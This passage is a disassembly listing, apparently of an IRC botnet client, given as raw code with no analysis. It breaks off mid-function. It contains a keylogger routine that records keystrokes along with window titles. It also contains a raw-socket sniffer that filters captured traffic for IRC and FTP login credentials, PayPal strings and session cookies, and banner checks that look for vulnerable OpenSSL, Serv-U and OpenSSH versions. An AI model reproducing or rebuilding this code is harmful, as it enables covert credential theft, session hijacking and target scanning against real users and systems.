		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: sub_4125FC+25j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: sub_4125FC+10j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_94]
		push	eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: sub_4125FC+6Ej
		xor	eax, eax
		leave
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126A7	proc near		; DATA XREF: sub_401ACD+7374o

var_920		= dword	ptr -920h
var_91C		= byte ptr -91Ch
var_520		= byte ptr -520h
var_4E0		= byte ptr -4E0h
var_2E1		= byte ptr -2E1h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_DC		= dword	ptr -0DCh
var_58		= dword	ptr -58h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 920h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_920], 0
		push	26h
		and	[ebp+arg_0], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_E0]
		rep movsd
		mov	dword ptr [eax+94h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_91C]
		rep stosd
		call	dword_4CB958	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB970	; GetWindowTextA
		mov	ebx, 200h


loc_412702:				; CODE XREF: sub_4126A7+4A0j
		push	8
		call	dword_427080	; Sleep
		call	dword_4CB958	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	loc_41287A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4CB970	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	loc_4127FF
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_4127B8
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jnb	short loc_4127B8
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_4127B8:				; CODE XREF: sub_4126A7+9Bj
					; sub_4126A7+AAj
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_41287A
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_41287A
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		jmp	short loc_412833
; ---------------------------------------------------------------------------


loc_4127FF:				; CODE XREF: sub_4126A7+86j
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	loc_412925
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
		push	eax
		call	sub_41C266
		sub	esp, 88h


loc_412833:				; CODE XREF: sub_4126A7+156j
		push	26h
		lea	eax, [ebp+var_48]
		pop	ecx
		lea	esi, [ebp+var_E0]
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_41287A:				; CODE XREF: sub_4126A7+6Cj
					; sub_4126A7+120j ...
		cmp	[ebp+var_58], 0
		jz	loc_412925
		push	1
		call	dword_4CB9A0	; GetAsyncKeyState
		cmp	ax, 8001h
		jnz	loc_412925
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_412925
		call	dword_4CB958	; GetForegroundWindow
		lea	ecx, [ebp+var_520]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB970	; GetWindowTextA
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	offset a__S_l_	; ".».%s.«."
		push	eax
		call	sub_41C266
		sub	esp, 8Ch
		lea	eax, [ebp+var_520]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_412925:				; CODE XREF: sub_4126A7+164j
					; sub_4126A7+1D7j ...
		mov	[ebp+var_4], offset dword_43644C


loc_41292C:				; CODE XREF: sub_4126A7+496j
		push	10h
		call	dword_4CB8A8	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+var_4]
		mov	edi, [eax-4]
		push	edi
		call	dword_4CB9A0	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_4129C4
		push	14h
		call	dword_4CB8A8	; GetKeyState
		test	ax, ax
		jz	short loc_412975
		cmp	esi, 0FFFFFFFFh
		jle	short loc_412975
		cmp	edi, 40h
		jle	short loc_412975
		cmp	edi, 5Bh
		jge	short loc_412975
		mov	[ebp+edi*4+var_920], 1
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_412975:				; CODE XREF: sub_4126A7+2ADj
					; sub_4126A7+2B2j ...
		push	14h
		call	dword_4CB8A8	; GetKeyState
		test	ax, ax
		jz	short loc_4129A0
		test	esi, esi
		jge	short loc_4129B4
		cmp	edi, 40h
		jle	short loc_4129A0
		cmp	edi, 5Bh
		jge	short loc_4129A0
		mov	[ebp+edi*4+var_920], 2
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: sub_4126A7+2D9j
					; sub_4126A7+2E2j ...
		test	esi, esi
		jge	short loc_4129B4
		mov	[ebp+edi*4+var_920], 3
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129B4:				; CODE XREF: sub_4126A7+2DDj
					; sub_4126A7+2FBj
		mov	[ebp+edi*4+var_920], 4
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129C4:				; CODE XREF: sub_4126A7+2A0j
		mov	esi, [ebp+edi*4+var_920]
		lea	eax, [ebp+edi*4+var_920]
		test	esi, esi
		jz	loc_412B32
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2E0]
		cmp	edi, 8
		push	eax
		jnz	short loc_4129FC
		call	sub_41B9C0
		and	[ebp+eax+var_2E1], 0
		pop	ecx
		jmp	loc_412B32
; ---------------------------------------------------------------------------


loc_4129FC:				; CODE XREF: sub_4126A7+340j
		call	sub_41B9C0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_412A42
		call	dword_4CB958	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB970	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412A30
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
		jmp	short loc_412A85
; ---------------------------------------------------------------------------


loc_412A30:				; CODE XREF: sub_4126A7+379j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A42:				; CODE XREF: sub_4126A7+360j
		cmp	edi, 0Dh
		jnz	loc_412B04
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jz	loc_412B32
		call	dword_4CB958	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4CB970	; GetWindowTextA
		cmp	[ebp+var_58], 0
		jz	short loc_412A96
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_Return ; ".».%s.«. (Return)"


loc_412A85:				; CODE XREF: sub_4126A7+387j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_412AB5
; ---------------------------------------------------------------------------


loc_412A96:				; CODE XREF: sub_4126A7+3D0j
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	offset a__S_l_ReturnS ;	".».%s.«. (Return) (%s)"


loc_412AA6:				; CODE XREF: sub_4126A7+399j
		lea	eax, [ebp+var_4E0]
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_412AB5:				; CODE XREF: sub_4126A7+3EDj
		sub	esp, 98h
		lea	eax, [ebp+var_48]
		lea	esi, [ebp+var_E0]
		push	26h
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_4E0]
		rep movsd
		push	eax
		call	sub_4125FC
		mov	[ebp+arg_0], eax
		push	ebx
		lea	eax, [ebp+var_2E0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0ACh
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_412B32
; ---------------------------------------------------------------------------


loc_412B04:				; CODE XREF: sub_4126A7+39Ej
		cmp	esi, 1
		jz	short loc_412B1D
		cmp	esi, 3
		jz	short loc_412B1D
		cmp	esi, 2
		jz	short loc_412B18
		cmp	esi, 4
		jnz	short loc_412B32


loc_412B18:				; CODE XREF: sub_4126A7+46Aj
		push	[ebp+var_4]
		jmp	short loc_412B24
; ---------------------------------------------------------------------------


loc_412B1D:				; CODE XREF: sub_4126A7+460j
					; sub_4126A7+465j
		mov	eax, [ebp+var_4]
		add	eax, 7
		push	eax


loc_412B24:				; CODE XREF: sub_4126A7+474j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_41C8A0
		pop	ecx
		pop	ecx


loc_412B32:				; CODE XREF: sub_4126A7+2C9j
					; sub_4126A7+2F4j ...
		add	[ebp+var_4], 14h
		cmp	[ebp+var_4], offset dword_436B7C
		jl	loc_41292C
		cmp	[ebp+arg_0], 0
		jz	loc_412702
		push	[ebp+var_DC]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_4126A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B61	proc near		; DATA XREF: sub_401ACD+4150o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41C500
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4CB9D4	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4CBA54	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_412C36
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_43759C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C19
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412C19:				; CODE XREF: sub_412B61+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412C36:				; CODE XREF: sub_412B61+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412CBB
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_437570
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412C97
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412C97:				; CODE XREF: sub_412B61+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412CBB:				; CODE XREF: sub_412B61+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4CB980	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412D3E
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_437540
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412D1A
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412D1A:				; CODE XREF: sub_412B61+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_412D3E:				; CODE XREF: sub_412B61+177j
		push	ebx
		mov	ebx, offset dword_436C58


loc_412D44:				; CODE XREF: sub_412B61+21Bj
					; sub_412B61+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB9EC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E71
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412D44
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412D44
		lea	eax, [ebp+var_1028C]
		push	offset dword_437534
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D44
		lea	eax, [ebp+var_1028C]
		push	offset dword_437524
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D44
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	loc_412D44
		mov	[ebp+arg_0], ebx


loc_412DCD:				; CODE XREF: sub_412B61+287j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DEF
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412DCD
		jmp	loc_412D44
; ---------------------------------------------------------------------------


loc_412DEF:				; CODE XREF: sub_412B61+27Dj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4CB904	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_436C6C[eax*8]
		push	off_436C48[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_4374F0
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412E5F
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412E5F:				; CODE XREF: sub_412B61+2DCj
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		jmp	loc_412D44
; ---------------------------------------------------------------------------


loc_412E71:				; CODE XREF: sub_412B61+20Ej
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset dword_4374C4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412EB7
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409869
		add	esp, 14h


loc_412EB7:				; CODE XREF: sub_412B61+334j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_30]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_412B61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: .packed:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
